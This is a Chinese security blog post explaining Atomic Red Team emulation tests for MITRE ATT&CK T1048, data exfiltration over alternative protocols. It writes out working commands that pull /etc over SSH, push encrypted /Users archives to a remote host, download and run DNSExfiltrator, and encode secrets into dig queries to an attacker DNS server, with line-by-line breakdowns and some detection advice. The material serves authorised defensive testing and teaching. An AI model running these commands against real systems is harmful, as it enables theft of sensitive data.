T1048-通过替代协议进行数据渗出

admin 2025年4月21日23:52:22评论1 views字数 6900阅读23分0秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1048-利用替代协议进行数据渗出。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

来自ATT&CK的描述

攻击者可能会通过与现有命令控制通道不同的协议来窃取数据。数据也可能会被发送到主命令控制服务器之外的其他网络位置。

替代协议包括FTP、SMTP、HTTP/S、DNS、SMB,或任何未被用作主要命令控制通道的其他网络协议。攻击者可能还会选择对这些替代通道进行加密和/或混淆处理。

通过替代协议进行数据渗出可以使用各种常见的操作系统工具,如Net/SMB或FTP(引用:Palo Alto OilRig,2016年10月)。在macOS和Linux系统上,可以使用curl工具调用诸如HTTP/S或FTP/S等协议,从系统中渗出数据(引用:《20种macOS常用工具和技术》)。

许多基础设施即服务(IaaS)和软件即服务(SaaS)平台(如微软Exchange、微软SharePoint、GitHub和亚马逊AWS S3)支持通过网络控制台或云API直接下载文件、电子邮件、源代码和其他敏感信息。

原子测试

  • 原子测试#1 - 通过SSH进行替代协议数据渗出
  • 原子测试#2 - 通过SSH进行替代协议数据渗出
  • 原子测试#3 - DNS数据渗出(基于DNS-over-HTTPS)
  • 原子测试#4 - 使用dig命令通过DNS查询渗出数据

01

通过SSH进行替代协议数据渗出

输入一个域名,测试通过SSH进行的数据渗出,从远程到本地。执行成功后,sh将启动ssh连接到远程域名(默认:target.example.com)并写入一个tar.gz文件。

支持平台: macOS、Linux

自动生成的GUID: f6786cc8-beda-4915-a4d6-ac2f193bb988

输入:

名称
描述
类型
默认值
domain
目标SSH域名
url
target.example.com

攻击命令: 使用sh运行!

ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

详细分析 ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz 命令:

整体功能

此命令借助 SSH 协议登录到远程主机,将远程主机 /etc 目录下的所有文件和子目录进行压缩,然后把压缩后的内容传输到本地,并保存为 ./etc.tar.gz 文件。

命令拆分解析

1. ssh #{domain}
  • ssh
     是一个用于安全远程登录和执行命令的工具。
  • #{domain}
     是一个占位符,实际使用时要替换成具体的远程主机域名或者 IP 地址。此部分的作用是通过 SSH 协议连接到指定的远程主机。
2. "(cd /etc && tar -zcvf - *)"

这部分是在远程主机上执行的命令,用双引号包裹起来当作一个整体传给 ssh 命令。

  • cd /etc
    :把当前工作目录切换到 /etc 目录,该目录一般存放系统和应用程序的配置文件。
  • &&
    :逻辑与运算符,意味着只有当 cd /etc 命令成功执行(返回状态码为 0)时,才会执行后面的 tar -zcvf - * 命令。
  • tar -zcvf - *
    • tar
       是用于文件打包和压缩的工具。
    • -z
       表示使用 gzip 算法进行压缩。
    • -c
       表示创建一个新的归档文件。
    • -v
       表示在操作过程中显示详细信息。
    • -f -
       表示将归档文件输出到标准输出(stdout),而不是保存为一个具体的文件。
    • *
       代表当前目录(即 /etc 目录)下的所有文件和子目录。
3. ./etc.tar.gz
  • 是重定向符号,它的作用是把前面命令(也就是远程主机上 tar 命令输出到标准输出的内容)重定向到本地的 ./etc.tar.gz 文件中。

注意事项

  • 权限问题
    要保证在远程主机上有足够的权限访问 /etc 目录及其内容。
  • 网络问题
    要确保本地主机和远程主机之间的网络连接正常,且 SSH 服务在远程主机上正常运行。
  • 文件名问题
    若本地已经存在 ./etc.tar.gz 文件,该命令会直接覆盖此文件。
  • 操作系统
    最好使用同类型支持.tar.gz格式的操作系统,实测使用windows执行命令会失败,使用kali则正常

02

通过SSH进行替代协议数据渗出

输入一个域名,测试通过SSH进行的数据渗出,从本地到远程。执行成功后,tar将压缩/Users/*目录,并对输出文件Users.tar.gz.enc进行密码保护。

支持平台: macOS、Linux

自动生成的GUID: 7c3cb337-35ae-4d06-bf03-3032ed2ec268

输入:

名称
描述
类型
默认值
user_name
域名对应的用户名
字符串
atomic
password
用户密码
字符串
atomic
domain
目标SSH域名
url
target.example.com

攻击命令: 使用sh运行!

tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'# Example# 压缩加密tar czpf - /Users/* | openssl des3 -salt -pass pass:123 | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'# 解密openssl des3 -d -salt -pass pass:123 -in out.tar.gz.enc | tar zxpf -

详细分析 tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc' 命令:

整体功能

此命令的主要功能是将本地 /Users 目录下的所有文件和子目录进行打包压缩,接着使用 openssl 以 DES3 算法对压缩包进行加密,最后通过 ssh 协议将加密后的文件传输到远程主机,并保存为 /Users.tar.gz.enc

命令拆分解析

1. tar czpf - /Users/*
  • tar
    :这是一个用于文件打包和压缩的工具。
  • -c
    :代表创建一个新的归档文件。
  • -z
    :意味着使用 gzip 算法对归档文件进行压缩。
  • -p
    :用于保留文件的权限信息。
  • -f -
    :将归档文件输出到标准输出(stdout),而非保存为具体的文件。
  • /Users/*
    :表示要打包压缩 /Users 目录下的所有文件和子目录。
2. |

这是管道符号,其作用是把前一个命令tar czpf - /Users/*的标准输出作为后一个命令openssl des3 -salt -pass #{password}的标准输入。

3. openssl des3 -salt -pass #{password}
  • openssl
    :是一个功能强大的加密工具包,可用于各种加密、解密和安全相关的操作。
  • des3
    :指使用 DES3(Triple DES)对称加密算法对输入的数据进行加密。DES3 是一种比较常用的对称加密算法。
  • -salt
    :在加密过程中使用盐值,盐值能增强加密的安全性,使相同的明文在不同盐值下加密后的结果不同。
  • -pass #{password}
    :这里的 #{password} 是一个占位符,实际使用时要替换成具体的密码,此密码用于 DES3 加密的密钥。详细使用方法可参考openssl文档
4. |

同样是管道符号,把 openssl 加密后的输出作为后续 ssh 命令的输入。

5. ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
  • ssh
    :用于安全远程登录和执行命令的工具。
  • #{user_name}@#{domain}
    #{user_name} 是占位符,需替换成远程主机的用户名;#{domain} 也是占位符,要替换成远程主机的域名或 IP 地址。这部分的作用是通过 SSH 协议连接到指定的远程主机。
  • 'cat > /Users.tar.gz.enc'
    :在远程主机上执行的命令。cat 命令接收标准输入的数据,然后通过重定向符号 > 将这些数据保存到 /Users.tar.gz.enc 文件中。

注意事项

  • 权限问题
    要保证在本地有足够的权限访问 /Users 目录及其内容,在远程主机上有足够的权限在指定路径下创建和写入文件。
  • 网络问题
    确保本地主机和远程主机之间的网络连接正常,且远程主机的 SSH 服务正常运行。
  • 密码安全
    使用的密码应足够复杂和安全,避免使用容易被破解的密码。同时,要妥善保管密码,防止泄露。
  • 文件覆盖
    若远程主机上已经存在 /Users.tar.gz.enc 文件,该命令会直接覆盖此文件。

提前《T1041 - 通过C2通道渗出数据》的文章中曾提到过DNS子域名进行文本传输的方法,参考如下:

模拟攻击者利用DNS隧道技术,通过命令与控制(C2)通道渗出数据。

。,公众号:网空安全手札T1041 - 通过C2通道渗出数据

本文补充2个方法和工具。

03

DNS数据渗出(基于DNS-over-HTTPS)

DNSExfiltrator工具可通过DNS请求隐蔽通道传输(渗出)文件。这本质上是一个数据泄露测试工具,允许通过隐蔽通道渗出数据。!!!如果没有一个由你控制且包含A记录和NS记录的域名,测试将会失败!!! 更多详细信息请查看这个GitHub页面:https://github.com/Arno0x/DNSExfiltrator

支持平台: Windows

自动生成的GUID: c943d285-ada3-45ca-b3aa-7cd6500c6a48

输入:

名称
描述
类型
默认值
password
用于加密要渗出数据的密码
字符串
atomic
domain
用于DNS请求的域名
字符串
target.example.com
ps_module
DNSExfiltrator的PowerShell模块路径
路径
PathToAtomicsFolder..ExternalPayloadsdnsexfil.ps1
doh
谷歌或CloudFlare的DoH(基于HTTP的DNS)服务器
字符串
google
time
每次DNS请求之间等待的毫秒数
字符串
500
encoding
设置为-b32以使用Base32编码数据。某些DNS解析器可能需要此设置
字符串

攻击命令: 使用powershell运行!

Import-Module "#{ps_module}"Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}

依赖项: 使用powershell运行!

描述: DNSExfiltrator的PowerShell文件必须存在于指定位置(#{ps_module})的磁盘上。

检查先决条件命令:

if (Test-Path "#{ps_module}") {exit 0else {exit 1}

获取先决条件命令:

New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-NullIWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"

04

使用dig命令通过DNS查询渗出数据

此测试展示了攻击者如何通过将敏感信息编码为子域名(使用Base64编码),并通过dig命令向受控制的DNS服务器发出DNS查询来渗出敏感信息。

支持平台: macOS、Linux

自动生成的GUID: a27916da-05f2-4316-a3ee-feec67a437be

输入:

名称
描述
类型
默认值
dns_port
攻击者的DNS服务器端口
整数
53
attacker_dns_server
攻击者的DNS服务器地址
字符串
8.8.8.8
secret_info
要渗出的秘密信息
字符串
this is a secret info

攻击命令: 使用bash运行!

dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com

详细分析 dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com 命令:

整体功能

该命令主要借助 dig 工具向指定的 DNS 服务器发起 DNS 查询请求。在查询过程中,会将敏感信息进行 Base64 编码后作为子域名,附加到 google.com 之前,以此实现信息的隐蔽传输。这种方式可能会被用于恶意的数据外发,因为攻击者可以利用 DNS 协议绕过部分网络限制来传输信息。

命令拆分解析

1. dig

dig(Domain Information Groper)是一个功能强大的 DNS 查询工具,常用于测试和诊断 DNS 相关的问题。它可以向 DNS 服务器发送各种类型的查询请求,并返回详细的查询结果。

2. @#{attacker_dns_server}
  • @
     符号用于指定要查询的 DNS 服务器。
  • #{attacker_dns_server}
     是一个占位符,实际使用时需要替换为攻击者控制的 DNS 服务器的 IP 地址或域名。这意味着查询请求将被发送到该指定的 DNS 服务器。
3. -p #{dns_port}
  • -p
     选项用于指定 DNS 查询请求所使用的端口号。
  • #{dns_port}
     是一个占位符,需替换为具体的端口号。默认情况下,DNS 查询使用的是 53 端口,但攻击者可能会使用其他端口来绕过一些安全策略。
4. $(echo "#{secret_info}" | base64).google.com
  • $(...)
     是命令替换语法,它会先执行括号内的命令,并将命令的输出结果替换到原命令中。
  • echo "#{secret_info}"
    #{secret_info} 是占位符,需要替换为实际的敏感信息。echo 命令用于输出该敏感信息。
  • |
    管道符号,将 echo 命令的输出作为 base64 命令的输入。
  • base64
    对输入的敏感信息进行 Base64 编码。Base64 编码是一种将二进制数据转换为可打印 ASCII 字符的编码方式,常用于在文本协议中传输二进制数据。
  • .google.com
    将 Base64 编码后的敏感信息作为子域名,与 google.com 组合成一个完整的域名,例如 encoded_secret.google.comdig 命令将对这个组合后的域名发起 DNS 查询请求。

安全风险

  • 数据泄露
    这种方式可以将敏感信息通过 DNS 查询请求隐蔽地发送到攻击者控制的 DNS 服务器,从而导致数据泄露。
  • 绕过限制
    由于 DNS 协议通常是允许通过网络防火墙的,攻击者可以利用这一点绕过部分网络访问限制,实现数据的外发。

防范建议

  • 网络监控
    对 DNS 查询流量进行监控,检测异常的 DNS 查询请求,特别是包含大量随机字符或 Base64 编码数据的查询。
  • DNS 过滤
    配置 DNS 过滤规则,阻止向可疑的 DNS 服务器发送查询请求,或者限制查询的域名范围。
  • 安全审计
    定期进行安全审计,检查系统中是否存在异常的 DNS 查询行为。

依赖项: 使用bash运行!

描述: dig命令

检查先决条件命令:

which dig

获取先决条件命令:

which apt && sudo apt update && sudo apt install -y bind9-dnsutils || which yum && sudo yum install -y bind-utils || which dnf && sudo dnf install -y bind-utils || which apk && sudo apk add bind-tools || which pkg && sudo pkg update && sudo pkg install -y bind-tools || which brew && brew update && brew install --quiet bind

T1048-通过替代协议进行数据渗出

原文始发于微信公众号(网空安全手札):T1048-通过替代协议进行数据渗出

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日23:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1048-通过替代协议进行数据渗出https://cn-sec.com/archives/3972233.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息